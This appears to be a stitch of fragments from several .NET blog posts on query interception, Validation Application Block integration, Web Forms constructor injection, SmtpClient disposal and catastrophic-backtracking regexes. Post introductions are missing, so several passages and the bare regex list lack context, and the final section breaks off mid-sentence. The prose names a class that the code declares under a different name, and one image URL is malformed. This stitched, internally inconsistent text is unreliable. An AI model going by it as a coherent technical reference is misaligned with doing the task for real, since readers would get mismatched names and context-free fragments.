public class InterceptingQueryable<T> : IQueryable<T>
{
    private readonly IQueryable<T> wrapped;
    private InterceptingQueryProvider queryProvider;

    public InterceptingQueryable(IQueryable<T> wrapped)
    {
        this.wrapped = wrapped;
    }

    public Type ElementType
    {
        get { return this.wrapped.ElementType; }
    }

    public Expression Expression
    {
        get { return this.wrapped.Expression; }
    }

    public IQueryProvider Provider
    {
        get { return this.InterceptingProvider; }
    }

    public IEnumerator<T> GetEnumerator()
    {
        return this.wrapped.GetEnumerator();
    }

    IEnumerator IEnumerable.GetEnumerator()
    {
        return ((IEnumerable)this.wrapped).GetEnumerator();
    }

    public InterceptingQueryProvider InterceptingProvider
    {
        get
        {
            if (this.queryProvider == null)
            {
                this.queryProvider = new InterceptingQueryProvider(
                    this.wrapped.Provider);
            }

            return this.queryProvider;
        }
    }
}

The InterceptingQueryable<T> uses a InterceptingQueryProvider that allows you to hook on to:

public class ExecutingQueryEventArgs : EventArgs
{
    public Expression Expression { get; set; }
}

public class InterceptingQueryProvider : IQueryProvider
{
    private readonly IQueryProvider wrapped;

    public InterceptingQueryProvider(IQueryProvider wrapped)
    {
        this.wrapped = wrapped;
    }

    public event EventHandler<ExecutingQueryEventArgs> ExecutingQuery;

    public IQueryable<TElement> CreateQuery<TElement>(Expression expression)
    {
        return this.wrapped.CreateQuery<TElement>(this.Transform(expression));
    }

    public IQueryable CreateQuery(Expression expression)
    {
        return this.wrapped.CreateQuery(this.Transform(expression));
    }

    public TResult Execute<TResult>(Expression expression)
    {
        return this.wrapped.Execute<TResult>(this.Transform(expression));
    }

    public object Execute(Expression expression)
    {
        return this.wrapped.Execute(this.Transform(expression));
    }

    protected virtual void OnExecutingQuery(ExecutingQueryEventArgs e)
    {
        if (this.ExecutingQuery != null)
        {
            this.ExecutingQuery(this, e);
        }
    }

    private Expression Transform(Expression expression)
    {
        var e = new ExecutingQueryEventArgs() { Expression = expression };

        this.OnExecutingQuery(e);

        return e.Expression;
    }
}

Cool! Happy querying!

public partial class Customer : DataErrorInfo
{
}

Below is the code for the DataErrorInfo class. If you look closely you will see a couple of interesting things. First of all, the IDataErrorInfo interface members are implemented explicitly to prevent them from showing up using IntelliSense, because they have no other purpose than for validation by a UI technology. Next, the code uses VAB’s PropertyValidationFactory to ensure only the requested property is validated. Not only is this more efficient than validating the complete entity, it also prevents us from having to figure out which errors are caused by that particular property.

public abstract class DataErrorInfo : IDataErrorInfo
{
    string IDataErrorInfo.Error
    {
        get { return DataErrorInfoHelper.GetErrorInfo(this); }
    }

    string IDataErrorInfo.this[string columnName]
    {
        get { return DataErrorInfoHelper.GetErrorInfo(this, columnName); }
    }
}

public static class DataErrorInfoHelper
{
    public static string GetErrorInfo(object entity)
    {
        var type = entity.GetType();
        var validator =
            ValidationFactory.CreateValidator(type);
        var results = validator.Validate(entity);
        return String.Join(" ", 
            results.Select(r => r.Message).ToArray());
    }
    
    public static string GetErrorInfo(object entity,
        string propertyName)
    {
        PropertyInfo property =
            entity.GetType().GetProperty(propertyName);

        return GetErrorInfo(entity, property);    
    }

    public static string GetErrorInfo(object entity, 
        PropertyInfo property)
    {
        var validator = GetPropertyValidator(entity,
            property);

        if (validator != null)
        {
            var results = validator.Validate(entity);

            return String.Join(" ", 
                results.Select(r => r.Message).ToArray());
        }

        return string.Empty;
    }

    private static Validator GetPropertyValidator(
        object entity, PropertyInfo property)
    {
        string ruleset = string.Empty;
        var source = ValidationSpecificationSource.All;
        var builder = new ReflectionMemberValueAccessBuilder();

        return PropertyValidationFactory.GetPropertyValidator(
            entity.GetType(), property, ruleset, source, builder);
    }
}

When you are in the unlucky position of using Entity Framework 3.5 (my condolences btw), you are stuck to inheriting your entities from EntityObject or ComplexObject. In that case, you need to define the partial class as follows:

public partial class Customer : IDataErrorInfo
{
    string IDataErrorInfo.Error
    {
        get { return DataErrorInfoHelper.GetErrorInfo(this); }
    }

    string IDataErrorInfo.this[string columnName]
    {
        get { return DataErrorInfoHelper.GetErrorInfo(this, columnName); }
    }
}

In other words, you can't inherit from a base type, but must implement IDataErrorInfo directly and implement the interface members in each type.

Happy validating.

public partial class _Default : System.Web.UI.Page
{
    private IUserService userService;

    public _Default()
    {
        this.userService = ServiceLocator.Current.GetInstance<IUserService>();
    }
} 

While this doesn’t look that bad, it creates a dependency on an particular implementation and even when your calling an abstraction (as I do with the Common Service Locator in the example) you might want to prevent this, because you’ve still got a dependency and a bit of plumbing in each and every page.

The way to intercept the creation of Page types in ASP.NET Web Forms, is by replacing the default PageHandlerFactory implementation. While some think that automatic constructor injection is not possible with Web Forms, I will show you otherwise.

The code below shows my CommonServiceLocatorPageHandlerFactory. This is a PageHandlerFactory that uses automatic constructor injection to create new Page types by using the Common Service Locator (CSL) interface. I deliberately use the CSL for this, because my Simple Service Locator library depends on that interface. If you're not using the CSL, changing the code to work with your IoC library is can be done by changing a single line, as you will see below.

When using this custom PageHandlerFactory the previously shown Page class can be changed to the following:

public partial class _Default : System.Web.UI.Page
{
    private IUserService userService;

    protected _Default()
    {
    }

    public _Default(IUserService userService)
    {
        this.userService = userService;
    }
}

Please note that the page must contain the default constructor. The code compilation model that ASP.NET uses behind the covers, creates a new type based on the defined _Default type. ASP.NET does this to allow the creation of the control hierarchy as it is defined in the markup. Because of this inheriting strategy, every Page class in your application must have a default constructor, although it doesn’t have to be public.

Registration of the CommonServiceLocatorPageHandlerFactory can be done in the web.config in the following way:

<?xml version="1.0"?>
<configuration>
  <system.web>
    <httpHandlers>
      <add verb="*" path="*.aspx"
        type="CSL.CommonServiceLocatorPageHandlerFactory, CSL"/>
    </httpHandlers>
  </system.web>
  <system.webServer>
    <handlers>
      <add name="CSLPageHandler" verb="*" path="*.aspx"
        type="CSL.CommonServiceLocatorPageHandlerFactory, CSL"/>
    </handlers>
  </system.webServer>
</configuration>

Here is the code for the CommonServiceLocatorPageHandlerFactory:

public class SimpleInjectorPageHandlerFactory 
    : PageHandlerFactory
{
    private static object GetInstance(Type type)
    {
        // Change this line if you're not using the CSL,
        // but a DI framework directly.
        return Microsoft.Practices.ServiceLocation
            .ServiceLocator.Current.GetInstance(type);
    }

    public override IHttpHandler GetHandler(HttpContext context,
        string requestType, string virtualPath, string path)
    {
        var handler = base.GetHandler(context, requestType, 
            virtualPath, path);

        if (handler != null)
        {
            InitializeInstance(handler);
            HookChildControlInitialization(handler);
        }

        return handler;
    }

    private void HookChildControlInitialization(object handler)
    {
        Page page = handler as Page;

        if (page != null)
        {
            // Child controls are not created at this point.
            // They will be when PreInit fires.
            page.PreInit += (s, e) =>
            {
                InitializeChildControls(page);
            };
        }
    }

    private static void InitializeChildControls(Control contrl)
    {
        var childControls = GetChildControls(contrl);

        foreach (var childControl in childControls)
        {
            InitializeInstance(childControl);
            InitializeChildControls(childControl);
        }
    }

    private static Control[] GetChildControls(Control ctrl)
    {
        var flags =
            BindingFlags.Instance | BindingFlags.NonPublic;

        return (
            from field in ctrl.GetType().GetFields(flags)
            let type = field.FieldType
            where typeof(UserControl).IsAssignableFrom(type)
            let userControl = field.GetValue(ctrl) as Control
            where userControl != null
            select userControl).ToArray();
    }

    private static void InitializeInstance(object instance)
    {
        Type pageType = instance.GetType().BaseType;

        var ctor = GetInjectableConstructor(pageType);

        if (ctor != null)
        {
            try
            {
                var args = GetMethodArguments(ctor);

                ctor.Invoke(instance, args);
            }
            catch (Exception ex)
            {
                var msg = string.Format("The type {0} " +
                    "could not be initialized. {1}", pageType,
                    ex.Message);

                throw new InvalidOperationException(msg, ex);
            }
        }
    }

    private static ConstructorInfo GetInjectableConstructor(
        Type type)
    {
        var overloadedPublicConstructors = (
            from ctor in type.GetConstructors()
            where ctor.GetParameters().Length > 0
            select ctor).ToArray();

        if (overloadedPublicConstructors.Length == 0)
        {
            return null;
        }

        if (overloadedPublicConstructors.Length == 1)
        {
            return overloadedPublicConstructors[0];
        }

        throw new ActivationException(string.Format(
            "The type {0} has multiple public overloaded " +
            "constructors and can't be initialized.", type));
    }

    private static object[] GetMethodArguments(MethodBase method)
    {
        return (
            from parameter in method.GetParameters()
            let parameterType = parameter.ParameterType
            select GetInstance(parameterType)).ToArray();
    }
}

This implementation does one sneaky thing to achieve it’s goal. It is nearly impossible to instantiate the type our self, because that would mean that we need to rewrite the complete compilation engine of ASP.NET. Instead we delegate the creation to the PageHandlerFactory base class. After the creation of this type (created using the default constructor) we search for an overloaded constructor on its base type (remember that ASP.NET creates a sub type), find out what arguments this constructor has, and load those dependencies by calling the Common Service Locator. After that we invoke that overloaded constructor. I repeat: we call an overloaded constructor on an already initialized class.

This is very sneaky, but works like hell. Besides initializing the Page class itself, it will initializes all UserControls recursively.

A few side notes: Keep in mind that this will fail in partially trusted environments. When doing this in partial trust, there is no good feasible workaround. In partial trust there is not much else we can do than seeing the Page as a Composition Root and calling the container from within the default constructor. Second note: This will only work for .aspx pages. For intercepting the creation of .ashx HTTP Handlers we will need to create a custom IHttpHandlerFactory, which is new since ASP.NET 2.0.

Happy injecting!

One of the nice things about Data Annotations is that it contains a feature called 'buddy classes', which allows you to put the validation attributes in a separate class that will function as meta data type. This is especially useful when dealing with auto-generated classes (think LINQ to SQL, Entity Framework). Validation Application Block 5.0 is now able to use this annotation model and we're therefore now able to do something like this with VAB:

// DataAnnotations Metadata attribute
[MetadataType(typeof(PersonMetaData))]
public partial class Person
{
    public string Name { get; set; }
}
 
public class PersonMetaData
{
    // VAB validation attribute
    [NotNullValidator]
    public string Name { get; set; }
}

This works great, but what about self validation? VAB allows methods to be placed on objects that allow custom validation logic that can't be written as custom attributes. How do we move this logic to the PersonMetaData class?

The short answer is: you can't. VAB does not support this out of the box. However, for those of you who follow this series about the VAB, you already know by now that there is little that can't be done with the VAB with a bit of work.

Please note that I think that having such feature is probably only useful in a narrow range of scenarios, because self validation method can located in a partial class. For the sake of education and having fun with VAB, let's just do this anyway ;-)

This can be achieved by hooking into the framework using depedency injection and replace the existing AttributeValidationFactory implementation. Below is a complete working example of how to do this with VAB 5.0 in three 'simple' steps:

1. Change the signature of your validation methods.
2. Define a class that can replace the VAB's build-in AttributeValidationFactory.
3. Reconfigure VAB in the start up path of your application.

1. Change the signature of your validation methods.

Because self validation methods are instance methods they are able to validate instance fields on the validated type. When you move the validation method to the meta data type you loose this ability. So for this to work we'll have to change the signature of the validation method to at least contain the object to validate as method argument. When we make this validation method static we can prevent a new instance of the meta data type from being created during the validation process. Here is an example of a type that has its self validation moved to its meta data type:

[MetadataType(typeof(PersonMetaData))]
public class Person
{
    public string Name { get; set; }
}

public class PersonMetaData
{
    [NotNullValidator]
    public string Name { get; set; }

    [SelfValidation]
    public static void SelfValidator(Person instance,
        ValidationResults results)
    {
        // TODO: Your validation here.
    }
}

2. Define a class that can replace the VAB's build in AttributeValidatorFactory.

When using attribute based validation, the AttributeValidationFactory type, that lives in the Microsoft.Practices.EnterpriseLibrary.Validation namespace, is responsible for creating new validators based on the attributes you decorated. When we replace it with an extended implementation that is able to handle self validations on the meta data class. Here is my ExtendedAttributeValidationFactory implementation:

public class ExtendedAttributeValidationFactory :
    AttributeValidatorFactory
{
    public ExtendedAttributeValidationFactory(
        IValidationInstrumentationProvider provider)
        : base(provider)
    {
    }

    protected override Validator InnerCreateValidator(
        Type targetType, string ruleset,
        ValidatorFactory mainValidatorFactory)
    {
        var baseValidator = base.InnerCreateValidator(
            targetType, ruleset, mainValidatorFactory);

        var metaDataValidator =
            CreateValidatorForMetaDataSelfValidation(
                targetType, ruleset);

        if (metaDataValidator == null)
        {
            return baseValidator;
        }

        return new AndCompositeValidator(baseValidator,
            metaDataValidator);
    }

    private Validator CreateValidatorForMetaDataSelfValidation(
        Type targetType, string ruleset)
    {
        var attributes = GetMetadataTypes(targetType).ToArray();

        if (attributes.Length == 0)
            return null;

        var flags = BindingFlags.Public |
            BindingFlags.NonPublic | BindingFlags.Static;

        var selfValidators = (
            from attribute in attributes
            from method in attribute.MetadataClassType.GetMethods(flags)
            where method.ReturnType == typeof(void)
            let parameters = method.GetParameters()
            where parameters.Length == 2
            where parameters[1].ParameterType == typeof(ValidationResults)
            from methodAtrtibute in
                ValidationReflectionHelper.GetCustomAttributes(method,
                    typeof(SelfValidationAttribute), false)
                .Cast<SelfValidationAttribute>()
            where ruleset.Equals(methodAtrtibute.Ruleset)
            select new MetaDataSelfValidationValidator(method)).ToArray();

        if (selfValidators.Length == 0)
            return null;

        return new AndCompositeValidator(selfValidators);
    }

    private static IEnumerable<MetadataTypeAttribute> GetMetadataTypes(
        Type targetType)
    {
        while (targetType != null)
        {
            var metadata = targetType.GetCustomAttributes(
                typeof(MetadataTypeAttribute), false)
                .FirstOrDefault();

            if (metadata != null)
            {
                yield return (MetadataTypeAttribute)metadata;
            }

            targetType = targetType.BaseType;
        }
    }
}

The ExtendedAttributeValidationFactory class loops through all static methods of the meta data class and foreach method that follows the conventions and is of the correct ruleset, a new MetaDataSelfValidationValidator is created. These are the conventions a validation method must follow:

• The method must be static.
• The method must return void.
• The method must contain two arguments.
• The first argument must be of the validated type or a base type.
• The second argument must be of type ValidationResults.
• The method must be decorated with the [SelfValidationAttribute].

The MetaDataSelfValidationValidator class enables validation of an object by calling the static self validation method of the meta data type. Here's the code:

public class MetaDataSelfValidationValidator : Validator
{
    private readonly MethodInfo methodInfo;

    public MetaDataSelfValidationValidator(MethodInfo methodInfo) 
        : base(null, null)
    {
        this.methodInfo = methodInfo;
    }

    public override void DoValidate(object objectToValidate, 
        object currentTarget, string key, 
        ValidationResults validationResults)
    {
        if (objectToValidate != null)
        {
            this.methodInfo.Invoke(null, 
                new object[] { objectToValidate, validationResults });
        }
    }

    protected override string DefaultMessageTemplate
    {
        get { return null; }
    }
}

3. Reconfigure VAB in the start up path of your application.

Now we've written a new implementation of the AttributeValidationFactory, we will have to replace the current implementation with this new one. We can do this by reconfiguring the Unity container (the standard IoC framework for EntLib) to return a new instance of the ExtendedAttributeValidationFactory type when an AttributeValidationFactory is requested by VAB:

// Create the container
var container = new UnityContainer();

// Configurator will read Enterprise Library 
// configuration and set up the container
var configurator = new UnityContainerConfigurator(container);

IConfigurationSource configurationSource = 
    new NullConfigurationSource();
EnterpriseLibraryContainer.ConfigureContainer(
    configurator, configurationSource);

container.RegisterType<AttributeValidatorFactory, 
    ExtendedAttributeValidationFactory>();

// Wrap in ServiceLocator
IServiceLocator locator = new UnityServiceLocator(container);

// And set Enterprise Library to use it
EnterpriseLibraryContainer.Current = locator;

Happy self validating ;-)

While this mechanism works fine, it has the same problem as I tried to solve in my previous article; It takes a lot of code to hook up, as you can see in this example.

I like to have an API were I can easily supply a conversion method and optionally supply an error message that should be displayed when the conversion fails. To be able to do this in a compile time friendly way, we need to alter the old API. The old API is used like this:

this.LastNameTextBox.AddValidatorFor<Person>(p => p.LastName);

Now we want to allow a convertion method to be specified like this:

this.LastNameTextBox
    .AddValidatorFor<Person>(p => p.Age, Int32.Parse);

This however, will not work, because of limitations of the C# compiler. We would have to rewrite the previous example as follows:

this.LastNameTextBox
    .AddValidatorFor<Person, int>(p => p.Age, Int32.Parse);

While this isn't bad, I don't like that I have to specify the int, because the compiler should be able to infer it. We will have to come up with another design that allows this type to be inferred. Here is an example of something that will work:

this.LastNameTextBox.For<Person>()
    .AddValidator(p => p.Age, Int32.Parse);

Let's cut to the chase. Here is the new implementation:

public static class AspNetValidationIntegration
{
    public static AspNetValidationIntegrator<TEntity> 
        For<TEntity>(this Control controlToValidate)
    {
        return new AspNetValidationIntegrator<TEntity>(
            controlToValidate);
    }
}

public sealed class AspNetValidationIntegrator<TEntity>
{
    private readonly Control control;

    public AspNetValidationIntegrator(Control control)
    {
        this.control = control;
    }

    public BaseValidator AddValidator<TValue>(
        Expression<Func<TEntity, TValue>> propertySelector)
    {
        return this.AddValidator(propertySelector, 
            string.Empty, null, null);
    }

    public BaseValidator AddValidator<TValue>(
        Expression<Func<TEntity, TValue>> propertySelector, 
        Func<string, TValue> converter)
    {
        return this.AddValidator(propertySelector, 
            string.Empty, converter, null);
    }

    public BaseValidator AddValidator<TValue>(
        Expression<Func<TEntity, TValue>> propertySelector,
        Func<string, TValue> converter, 
        string convertionErrorMessage)
    {
        return this.AddValidator(propertySelector, 
            string.Empty, converter, convertionErrorMessage);
    }

    public BaseValidator AddValidator<TValue>(
        Expression<Func<TEntity, TValue>> propertySelector, 
        string rulesetName)
    {
        return this.AddValidator(propertySelector, 
            rulesetName, null, null);
    }

    public BaseValidator AddValidator<TValue>(
        Expression<Func<TEntity, TValue>> propertySelector,
        string rulesetName, Func<string, TValue> converter)
    {
        return this.AddValidator(propertySelector, 
            rulesetName, converter, null);
    }

    public BaseValidator AddValidator<TValue>(
        Expression<Func<TEntity, TValue>> propertySelector,
        string rulesetName, Func<string, TValue> converter, 
        string convertionErrorMessage)
    {
        var validator = this.CreateValidator(propertySelector, 
            rulesetName, converter, convertionErrorMessage);

        this.AddValidatorToPageJustAfterControl(validator);

        return validator;
    }

    public BaseValidator CreateValidator<TValue>(
        Expression<Func<TEntity, TValue>> propertySelector)
    {
        return this.CreateValidator(propertySelector, 
            string.Empty, null, null);
    }

    public BaseValidator CreateValidator<TValue>(
        Expression<Func<TEntity, TValue>> propertySelector, 
        Func<string, TValue> converter)
    {
        return this.CreateValidator(propertySelector, 
            string.Empty, converter, null);
    }

    public BaseValidator CreateValidator<TValue>(
        Expression<Func<TEntity, TValue>> propertySelector,
        Func<string, TValue> converter, 
        string convertionErrorMessage)
    {
        return this.CreateValidator(propertySelector, 
            string.Empty, converter, convertionErrorMessage);
    }

    public BaseValidator CreateValidator<TValue>(
        Expression<Func<TEntity, TValue>> propertySelector, 
        string rulesetName)
    {
        return this.CreateValidator(propertySelector, 
            rulesetName, null, null);
    }

    public BaseValidator CreateValidator<TValue>(
        Expression<Func<TEntity, TValue>> propertySelector, 
        string rulesetName, Func<string, TValue> converter, 
        string convertionErrorMessage)
    {
        PropertyProxyValidator proxy = 
            CreateNewProxyValidator();

        proxy.ControlToValidate = this.control.ID;

        BindProxyValidatorToDomainProperty(proxy, 
            propertySelector, rulesetName);

        AddConverter(proxy, converter, convertionErrorMessage);

        return proxy;
    }

    private static void AddConverter<TValue>(
        PropertyProxyValidator proxy, 
        Func<string, TValue> converter, string errorMessage)
    {
        if (converter != null)
        {
            proxy.ValueConvert += (sender, e) =>
            {
                string value = e.ValueToConvert as string;
                try
                {
                    e.ConvertedValue = converter(value);
                }
                catch (Exception ex)
                {
                    if (string.IsNullOrEmpty(errorMessage))
                    {
                        e.ConversionErrorMessage = ex.Message;
                    }
                    else
                    {
                        e.ConversionErrorMessage = errorMessage;
                    }
                    
                    e.ConvertedValue = null;
                }
            };
        }
    }

    private static void BindProxyValidatorToDomainProperty<TValue>(
        PropertyProxyValidator proxy,
        Expression<Func<TEntity, TValue>> propertySelector, 
        string rulesetName)
    {
        proxy.PropertyName = GetPropertyName(propertySelector);
        proxy.SourceTypeName = typeof(TEntity).AssemblyQualifiedName;
        proxy.RulesetName = rulesetName;
    }

    private void AddValidatorToPageJustAfterControl(
        BaseValidator validator)
    {
        int index = 
            this.control.Parent.Controls.IndexOf(this.control);
        
        try
        {
            this.control.Parent.Controls.AddAt(index + 1, validator);
        }
        catch (HttpException ex)
        {
            throw BuildMoreExpressiveException(control, ex);
        }
    }

    private static string GetPropertyName(
        LambdaExpression propertySelector)
    {
        var body = propertySelector.Body;

        var member = body as MemberExpression ?? 
            ((MemberExpression)((UnaryExpression)body).Operand);

        return member.Member.Name;
    }

    private static PropertyProxyValidator CreateNewProxyValidator()
    {
        var proxy = new PropertyProxyValidator()
        {
            Display = ValidatorDisplay.Static,
        };

        // Let's make the proxy more fancy :-)
        proxy.Text = "<img src='http://www.cuttingedge.itstatus_failed_small.gif' />";
        proxy.PreRender += (s, e) =>
        {
            proxy.Attributes["title"] =
                ReformatErrorMessageForTitle(proxy.ErrorMessage);
        };

        return proxy;
    }

    private static string ReformatErrorMessageForTitle(
        string errorMessage)
    {
        errorMessage = errorMessage.Replace("<br/>", ",");

        // Remove the last ',', if any.
        if (errorMessage.Length > 0 &&
            errorMessage[errorMessage.Length - 1] == ',')
        {
            return errorMessage.Substring(0, errorMessage.Length - 1);
        }

        return errorMessage;
    }

    private static Exception BuildMoreExpressiveException(
        Control control, HttpException exception)
    {
        return new InvalidOperationException(string.Format(
            "Sorry, you have encountered a rare .NET bug. " +
            "Control '{1}', which is the parent control of " + 
            "'{0}', contains '<% %>' tags. Because of the " + 
            "existance of those tags, this parent control " + 
            "can not be modified and it is impossible to " + 
            "dynamically add validators to it. You can " + 
            "fix this by wrapping '{0}' in another control" + 
            ". For instance: " + 
            "<asp:{2} runat='server' ID='{1}'>" +
                "<asp:PlaceHolder runat='server'>" + 
                    "<asp:{3} runat='server' id='{0}' />" + 
                "</asp:PlaceHolder>" +
            "</asp:{2}>. {4}", control.ID, control.Parent.ID, 
            control.Parent.GetType().Name, 
            control.GetType().Name, exception.Message));
    }
}

The trick here is that the AspNetValidationIntegration class now only has one single extension method named For<TEntity> which will return a new AspNetValidationIntegrator<TEntity>. The magic happens in the AddConverter method. In this method the PropertyProxyValidator's ValueConvert event is hooked. Here is that method again:

     private static void AddConverter<TValue>(
        PropertyProxyValidator proxy, 
        Func<string, TValue> converter, string errorMessage)
    {
        if (converter != null)
        {
            proxy.ValueConvert += (sender, e) =>
            {
                string value = e.ValueToConvert as string;
                try
                {
                    e.ConvertedValue = converter(value);
                }
                catch (Exception ex)
                {
                    if (string.IsNullOrEmpty(errorMessage))
                    {
                        e.ConversionErrorMessage = ex.Message;
                    }
                    else
                    {
                        e.ConversionErrorMessage = errorMessage;
                    }

                    e.ConvertedValue = null;
                }
            };
        }
    }

The AddConverter method hooks an anonymous method to the ValueConvert event. The converter and errorMessage arguments are used as closures in this anonymous methods and used to do the actual convertion and display an message when the conversion fails.

Just as before this code hides the use of the PropertyProxyValidator and even the use of the Validation Application block from the presentation layer. Validation Application Block is now just an implementation detail, which, from an architectural perspective, is a good thing.

Happy validating!

I have to admit, the Patterns & Practices team did a good job in creating nice design time support. When you follow the instructions in the Hands-On Lab document you will be able to drag a PropertyProxyValidator to the form and configure it. A PropertyProxyValidator is a ASP.NET validator control that functions as proxy between the ASP.NET validation mechanism and the VAB. As its name describes, it allows you to validate a single property from your domain.

The problem however is that you will usually have many PropertyProxyValidator controls on the page. Each validator has to be configured with at least the type to validate (SourceTypeName),  the name of the property to validate (PropertyName), the ID of the control to validate (ControlToValidate), and optionally the ruleset to validate (RulesetName). Not only is it lot of work to hook up all validators on the page, but the complete configuration is given in markup, making it almost impossible to quickly refactor the domain or the representation of the validators later on.

Here is an example of how a PropertyProxyValidator looks in markup:

<asp:TextBox runat="server" ID="FirstNameTextBox" />

<vab:PropertyProxyValidator runat="server"
    ID="Validator1"
    SourceTypeName="Company.Application.Domain.Person"
    PropertyName="FirstName"
    ControlToValidate="FirstNameTextBox"
    RulesetName="Alternative"
/>

A better solution would be to wire up the validators in the code behind, in a way that gives us compile time support. There is no easy way to do this with VAB out of the box, but as always, it’s not difficult to get a pleasurable workaround for this. We could for instance write an extension method that allows appending a validator to the page just behind the control to validate:

protected override void OnPreInit(EventArgs e)
{
    // Add a validator for the Person.LastName property.
    this.LastNameTextBox.AddValidatorFor<Person>(p => p.LastName);

    // Add a validator for the 'Alternative' VAB ruleset and set 
    // an alternative ASP.NET validation group.
    this.FirstNameTextBox
        .AddValidatorFor<Person>(p => p.FirstName, "Alternative")
        .ValidationGroup = "AlternativeValidationGroup";

    base.OnPreInit(e);
}

The first line of code registers a validator on the LastNameTextBox for the Person.LastName property. The validator will be added to the page directly after the control to validate. The second line registers a validator for the ‘Alternative’ rule set of the Person.FirstName. Because the extension method returns the created validator, we can directly set the ValidationGroup of this validator. Of course I wouldn’t advice using literal strings as done in this example, but you get the idea.

Here’s the code for these extension methods:

public static BaseValidator AddValidatorFor<T>(
    this Control control, Expression<Func<T, object>> property)
{
    return AddValidatorFor<T>(control, property, string.Empty);
}

public static BaseValidator AddValidatorFor<T>(
    this Control control, Expression<Func<T, object>> property,
    string rulesetName)
{
    var validator = CreateValidatorFor(control, property,
        rulesetName);

    AddValidatorToPageJustAfterControl(validator, control);

    return validator;
}

public static BaseValidator CreateValidatorFor<T>(
    this Control control, Expression<Func<T, object>> property)
{
    return CreateValidatorFor(control, property, string.Empty);
}

public static BaseValidator CreateValidatorFor<T>(
    this Control control, Expression<Func<T, object>> property,
    string rulesetName)
{
    PropertyProxyValidator proxy = CreateNewProxyValidator();

    proxy.ControlToValidate = control.ID;

    BindProxyValidatorToDomainProperty(proxy, property,
        rulesetName);

    return proxy;
}

private static PropertyProxyValidator CreateNewProxyValidator()
{
    return new PropertyProxyValidator()
    {
        Display = ValidatorDisplay.Static,
    };
}

private static void BindProxyValidatorToDomainProperty<T>(
    PropertyProxyValidator proxy,
    Expression<Func<T, object>> property, string rulesetName)
{
    proxy.PropertyName = GetPropertyName(property);
    proxy.SourceTypeName = typeof(T).AssemblyQualifiedName;
    proxy.RulesetName = rulesetName;
}

private static string GetPropertyName(LambdaExpression property)
{
    var member = property.Body as MemberExpression;

    if (member == null)
    {
        var unaryExpression = (UnaryExpression)property.Body;
        member = (MemberExpression)unaryExpression.Operand;
    }

    return member.Member.Name;
}

private static void AddValidatorToPageJustAfterControl(
    BaseValidator validator, Control control)
{
    int index = control.Parent.Controls.IndexOf(control);

    try
    {
        control.Parent.Controls.AddAt(index + 1, validator);
    }
    catch (HttpException ex)
    {
        throw BuildMoreExpressiveException(control, ex);
    }
}

private static Exception BuildMoreExpressiveException(
    Control control, HttpException exception)
{
    return new InvalidOperationException(string.Format(
        "Sorry, you have encountered a rare .NET bug. " +
        "Control '{1}', which is the parent control of '{0}'" + 
        ", contains '<% %>' tags. Because of the existance " + 
        "of those tags, this parent control can not be " + 
        "modified and it is impossible to dynamically add " + 
        "validators to it. You can fix this by wrapping " + 
        "'{0}' in another control. For instance: " + 
        "<asp:{2} runat='server' ID='{1}'>" +
            "<asp:PlaceHolder runat='server'>" + 
                "<asp:{3} runat='server' id='{0}' />" + 
            "</asp:PlaceHolder>" +
        "</asp:{2}>. {4}", control.ID, control.Parent.ID, 
        control.Parent.GetType().Name, 
        control.GetType().Name, exception.Message));
}

I think this code rather speaks for itself. When called, the method will create a new validator by binding to the control to validate and binding it to the property in the domain. After that it adds the validator to the page’s control hierarchy.

This code has several other benefits. First of all, while working with a PropertyProxyValidator internally, it returns the newly created instance by it’s base type: BaseValidator. This way we can prevent our presentation layer from having a direct dependency on the Validation Application Block, which is a good thing from an architectural perspective.

A second benefit is that we’ve now centralized the creation of these validators and can customize the creation more easily. As you might know, the default behavior of the ASP.NET validators and therefore the PropertyProxyValidator is to display the full error message inline. It would be more attractive when the validator would only show an image and allow the error message to be shown when the image is hovered with the mouse. With the current design we only have to change the CreateNewProxyValidator method. Here is the improved implementation:

private static PropertyProxyValidator CreateNewProxyValidator()
{
    var proxy = new PropertyProxyValidator()
    {
        Display = ValidatorDisplay.Static,
    };

    // Let's make the proxy more fancy :-)
    proxy.Text = "<img src='http://www.cuttingedge.itstatus_failed_small.gif' />";

    // Here is a little trick to set the title attribute
    // with the error message.
    proxy.PreRender += (sender, e) =>
    {
        var title = proxy.ErrorMessage.Replace("<br/>", ",");

        if (title.Length > 0 && title[title.Length - 1] == ',')
        {
            title = title.Substring(0, title.Length - 1);
        }

        proxy.Attributes["title"] = title;
    };

    return proxy;
}

There is a bit dirty trickery going on in this method, because of how the PropertyProxyValidator is implemented, but at least we’re now able to change the look and feel of our application. You don’t want to get this task assigned to you when all PropertyProxyValidator were defined in markup.

Please note that the code presented in this post has one important drawback: it will fail miserably when we're trying to validate anything else than text, such as numbers, dates etc. Please read part 2 for a solution to this problem.

Please note that there is an important quirk in de design of ASP.NET that you might come across when implementing this solution. The exception message of the BuildMoreExpressiveException method already gives it away. The solution proposed in this article works by injecting controls in to the page's control hierarchy. However, when an ASP.NET page contains <% %> code blocks, the collection of controls containing such a code block gets immutable and the line control.Parent.Controls.AddAt(index + 1, proxy); will result in an HttpException. You can work around this problem by wrapping the control that you want to validate with a server tag, such as an <asp:PlaceHolder></asp:PlaceHolder>. By throwing an exception with a very descriptive message, I'm hoping to save you and your fellow developers a lot of time, when you encounter this problem.

Happy validating!

I just stumbled upon an exact copy of the CuttingEdge.Conditions source code inside the MongoDB .NET Driver. I am absolutely fine with this. I deliberately choose the MIT license which permits reuse of the code in any form. Reuse of my code is the biggest compliment a developer can give me, except of course compliments that involve money :-).

Perhaps there are more of these 'hidden jams' inside the new .NET 4.0 framework. So when migrating to .NET 4.0, it's wise to recompile your project and run FxCop over it. When your code isn't too complicated, FxCop will spot the places where you didn't dispose any disposable object. And you can already prepare your code like this:

var client = new SmtpClient();

// Do not remove this using. In .NET 4.0
// SmtpClient implements IDisposable.
using (client as IDisposable)
{
    client.Send(message);
} 

Good luck.

^(\d+)+$
^(\d+)*$
^(\d*)*$
^(\d+|\s+)*$
^(\d|\d\d)+$
^(\d|\d?)+$

Read more about the causes and the cures here.

UPDATE 2012-06-04: .NET 4.5 contains a RegEx.Timeout property to specify a maximum duration for the regex.

This behavior, or lack of functionally, is caused by the internal workings of VAB. While the internal MetadataValidatorBuilder uses reflection on types to find the defined validators of a type, the internal ConfigurationValidatorBuilder simply finds a type’s validators by it’s type name. From the perspective of the ConfigurationValidatorBuilder, there are no types, just strings. For being able to find base types of a certain type, you need the .NET type system. In other words, the ConfigurationValidatorBuilder would first need to create a Type object from a string. And while the type name is mandatory in the VAB configuration system, the type’s assembly name is optional. This makes creating an actual type rather time consuming, because all types in the current AppDomain need to be iterated and matched by there name.

According to the Enterprise Library FAQ, there actually is a simple solution to this problem:

